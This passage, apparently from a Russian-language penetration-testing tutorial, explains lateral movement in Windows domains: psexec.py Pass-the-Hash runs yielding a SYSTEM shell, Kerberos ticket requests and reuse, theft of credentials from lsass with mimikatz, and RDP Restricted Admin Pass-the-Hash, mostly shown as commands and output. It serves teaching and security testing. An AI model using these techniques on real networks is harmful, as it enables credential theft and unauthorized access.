Использовать RPC с SMB — самый распространенный способ. Этот подход используется многими инструментами, такими как PsExec и примерами из impacket psexec.py, wmiexec.py и другими *.exec.py.
Эти инструменты используют какой-нибудь RPC-интерфейс и отправляют/получают информацию, используя SMB pipes. Обычно, инструменты нуждаются только в открытом 445 порте (SMB), но некоторые (например, для wmiexec.py нужен 135 порт (RPC over TCP)).
В дополнение, если это возможно для этих инструментов, они сделают Pass-The-Hash атаку, используя NT или LM хеши. Impacket-инструменты содержат для этого специальный параметр. Для PsExec от ms, вы должны сами инжектнуть NT-хеш в Windows сессии с помощью mimikatz.
$ psexec.py contoso.local/Anakin@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file WFKqIQpM.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service AoRl on 192.168.100.10.....
[*] Starting service AoRl.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.
(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>whoami
nt authority\system
Здесь используется NTLM-аутентификация, хотя сейчас уже Kerberos по умолчанию.
Для того, чтобы использовать Kerberos, надо передать Kerberos-тикет тулзе. В случае с impacket, надо указать путь до ccache-файла (в Linux это делается через переменную окружения, в Windows — с помощью mimikatz или Rubeus).
Для того, чтобы получить Kerberos-тикет для использования, вы должны знать пароль, или NT-хеш (Overpass-the-Hash), или Kerberos keys (Pass-The-Key) или просто забрать тикет с Windows или Linux машины и использовать его (Pass-The-Ticket).
Лучше иметь набор инструментов для каждой ОС – Windows и Linux, тк тикеты имеют разный формат для каждой ОС. Конвертировать тикеты между различными форматами можно с помощью ticket_converter и cerbero.
Пример запроса тикета и подключение по нему:
$ getTGT.py contoso.local/Anakin -dc-ip 192.168.100.2 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=$(pwd)/Anakin.ccache
$ psexec.py contoso.local/Anakin@WS01-10 -target-ip 192.168.100.10 -k -no-pass
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 192.168.100.10.....
[*] Found writable share ADMIN$
[*] Uploading file TwIEeeqd.exe
[*] Opening SVCManager on 192.168.100.10.....
[*] Creating service ZQZb on 192.168.100.10.....
[*] Starting service ZQZb.....
[!] Press help for extra shell commands
The system cannot find message text for message number 0x2350 in the message file for Application.
(c) Microsoft Corporation. All rights reserved.
b'Not enough memory resources are available to process this command.\r\n'
C:\Windows\system32>
Powershell Remoting
Аналог RPC/SMB для коннекта к Windows-машинам.
Порт: 5985 (на Windows Server включен по умолчанию)
Минусы: RDP коннект по умолчанию только через пароль.
При подключении по RDP, кредсы кэшируются на машине и могут быть украдены из процесса lsass с помощью инструментов, таких как mimikatz.
В Win8.1 / 2012 R2 Microsoft добавили Restricted Admin mode для RDP. Когда этот режим включен, пароль не передается на тачку, это дает возможность выполнить Pass-The-Hash, Pass-The-Key или Pass-The-Ticket атаки и получить RDP-коннект.
From Linux, you can use freerdp to perform a Pass-The-Hash with RDP (you need to install the freerdp2-x11freerdp2-shadow-x11 packages instead of freerdp-x11 as the article said). You only need to provide the NT hash instead of the password.
На Windows мы можем заинжектить в память NT-хеш или Kerberos ticket с помощью mimikatz или Rubeus и использовать mstsc.exe /restrictedadmin для получения RDP-сессии без пароля.